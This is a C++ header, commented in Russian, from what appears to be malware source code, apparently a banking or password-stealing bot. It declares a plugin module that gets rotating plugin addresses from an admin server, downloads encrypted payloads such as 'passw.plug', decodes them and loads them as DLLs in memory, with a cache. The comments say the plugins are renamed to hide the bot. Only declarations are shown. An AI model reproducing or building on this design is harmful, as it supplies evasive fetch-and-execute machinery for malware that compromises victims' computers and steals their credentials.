//---------------------------------------------------------------------------
//
//  Модуль для работы с плагинами
//
//---------------------------------------------------------------------------

#ifndef PluginsH
#define PluginsH
//---------------------------------------------------------------------------

#include "windows.h"
#include "DllLoader.h"

//*****************************************************************************
//  Методы для работы с плагинами
//
//  Один из ключевых моментов работы с плагинами:
//      Плагины не имеют статических адресов!!!
//     В целях сокрытия бота сервера постоянно переименовывают
//     плагины. По этому для загрузки плагина необходимо по его короткому
//	   имени получить его актуальный на данный момент адрес.
//*****************************************************************************

namespace Plugin
{
    //------------------------------------------------------------------------
	//  GetURL - Функция возвращает адрес по которому можно загрузить плагин
	//
	//  Name - короткое имя плагина, например "passw.plug"
	//
	//  PluginsListURL - адрес скрипта возвращающего полный список плагинов.
	//  	Если указать NULL то адрес будет взят из глобальных настроек
	//
	//  UpdateList - Указание функции обновить список. Актуально на случай
	//               когда предыдущая загрузка вернула ответ об отсутствии
	//				 файла на сервере
	//
	//  Результат:
	//      Функция не вернёт управление до тех пор, пока не получит результат.
	//      Результатом будет либо реальный адрес плагина, либо NULL в случае
	//      если на сервере отсутствует запрашиваемый плагин
	//------------------------------------------------------------------------
	PCHAR GetURL(PCHAR Name, PCHAR PluginsListURL, bool UpdateList);

	//------------------------------------------------------------------------
	//  DownloadPluginList - Функция загружает список доступных плагинов
	//  URL - Адрес скрипта который возвращает список плагинов. Если передать
	//        NULL то будет взят адрес скрипта из глобальных настроек.
	//  В случае успеха вернёт список плагинов. В противном случае вернёт NULL
	//------------------------------------------------------------------------
	PCHAR DownloadPluginList(PCHAR URL);

	//------------------------------------------------------------------------
	//  DownloadFile - Функция загружает файл плагина с сервера. Файл остаётся
	//				   в неизменном состоянии, т.е. не расшифровывается.
	//  PluginName - короткое имя плагина.
	//  PluginsListURL - Адрес скрипта возвращающего адрес плагина. Если NULL
	//                   то адрес будет взят из глобальных настроек
	//  FileSize - Указатель на переменную, куда будет записан размер файла.
	//			   Не обязательный параметр.
	//  PluginMd5 - Указатель на переменную, куда будет записан Md5 сумма, если она есть.
	//			   Необязательный параметр. Если MD5 суммы нет - в результате будет NULL.
	//             Очищать память после нее - STR::Free()
	//
	//  Результат: В случае успеха функция вернёт указатель на буфер с файлом
	//             В случае отсутствия плагина на сервере функция вернёт NULL
	//
	//  Примечание: Функция вернёт управление в случае отсутствия плагина на
	//              сервере либо файл плагина будет успешно загружен
	//------------------------------------------------------------------------
	LPBYTE DownloadFile(PCHAR PluginName, PCHAR PluginsListURL, DWORD *FileSize, PCHAR* PluginMd5);

	//------------------------------------------------------------------------
	//	DecryptPlugin - Функция декодирует плагин.
	//
	//  Buffer - Буфер содержащий плагин
	//
	//  BufferSize - Размер буфера
	//
	//  NewBufferSize - Указатель на переменную куда будет записан размер
	//					результирующего буфера
	//
	//  IsExecutable - Указание проверить заголовок декодированного буфера
	//				   на предмет является ли он началом исполняемого файла
	//
	//  Результат: В случае успеха функция возвращает указатель на буфер с
	//			   плагином
	//
	//  Примечание: Функция вносит изменения в исходный буфер
	//------------------------------------------------------------------------
	LPBYTE Decode(LPBYTE Buffer, DWORD BufferSize, bool IsExecutable, DWORD *NewBufferSize);

	//------------------------------------------------------------------------
	//	Download - Функция загружает и декодирует плагин
	//
	//  PluginName - короткое имя плагина
	//  PluginListURL - Адрес списка плагинов. В случае NULL будет взят из
	//					глобальных настроек
	//  Size - Указатель на переменную куда будет записан размер плагина
	//
	//  IsExecuteble - Признак того, что плагин является исполняемым файлом
	//                 (dll, exe). Если передавать false то, после загрузки,
	//                 плагины не будут проверяться
	//
	//  Результат: В случае успеха функция вернёт указатель на буфер с
	//			   плагином. Функциф не вернёт управление до тех пор пока
	//             плагин не будет загружен. Функция вернёт NULL в случае
	//			   если плагина нет на сервере.
	//
	//------------------------------------------------------------------------
    LPBYTE Download(PCHAR PluginName, PCHAR PluginListURL, DWORD *Size, bool IsExecutable = true);


	//------------------------------------------------------------------------
	//	DownloadEx - Функция загружает и декодирует плагин используя
	//				 дополнительные настройки
	//
	//  PluginName - короткое имя плагина
	//  PluginListURL - Адрес списка плагинов. В случае NULL будет взят из
	//					глобальных настроек
	//  Size - Указатель на переменную куда будет записан размер плагина
	//
	//  IsExecuteble - Признак того, что плагин является исполняемым файлом
	//                 (dll, exe). Если передавать false то, после загрузки,
	//                 плагины не будут проверяться
	//
	//  UseCashe - Разрешить использование кэша. Если плагин присутствует в
	//			   кэше, то функция вернёт файл от туда. Если файла нет в
	//			   кэше то функция загрузит файл и сохранит его в кэше.
	//
	//  CachePath - Каталог кэша. Если указать NULL то будет использоваться
	//				каталог по умолчанию.
	//
	//  Результат: В случае успеха функция вернёт указатель на буфер с
	//			   плагином. Функция не вернёт управление до тех пор пока
	//             плагин не будет загружен. Функция вернёт NULL в случае
	//			   если плагина нет на сервере.
	//
	//------------------------------------------------------------------------
	LPBYTE DownloadEx(PCHAR PluginName, PCHAR PluginListURL, DWORD *Size,
					  bool IsExecutable, bool UseCache, PCHAR CachePath);

	//-----------------------------------------------
	//  SaveToCache
	//  Кэширует данные плагина
	//-----------------------------------------------
	bool SaveToCache(PCHAR PluginName,  LPVOID Data, DWORD DataSize);


	//------------------------------------------------
	//  LoadFromCache
	//  функция загружает плагин из кэша
	//------------------------------------------------
	LPBYTE LoadFromCache(PCHAR PluginName, DWORD *PluginSize);

	//------------------------------------------------
	//  DeleteFromCache
	//  Функция удаляет  файл плагина из кэша
	//------------------------------------------------
	bool DeleteFromCache(PCHAR PluginName);

}



//--------------------------------------------------
//  TPlugin - класс для упрощения работы с плагинами
//--------------------------------------------------
class TPlugin : public TMemoryDLL
{
private:
	string FName;
	LPVOID FData;
	DWORD  FSize;
public:
	TPlugin(const char*   PluginName);
	TPlugin(const string& PluginName);
	~TPlugin();

	//------------------------------------------
	//  Download - функция скачивает плагин из
	//             админки и, при необходимости,
	//             загружает в память скачанную
	//             длл
	//
	//  LoadLibrary - признак необходимости
	//                загрузки скачанно длл
	//------------------------------------------
	bool Download(bool LoadLibrary);

	LPVOID inline Data() { return FData; }
	DWORD  inline Size() { return FSize; }
};


//---------------------------------------------------------------------------
#endif
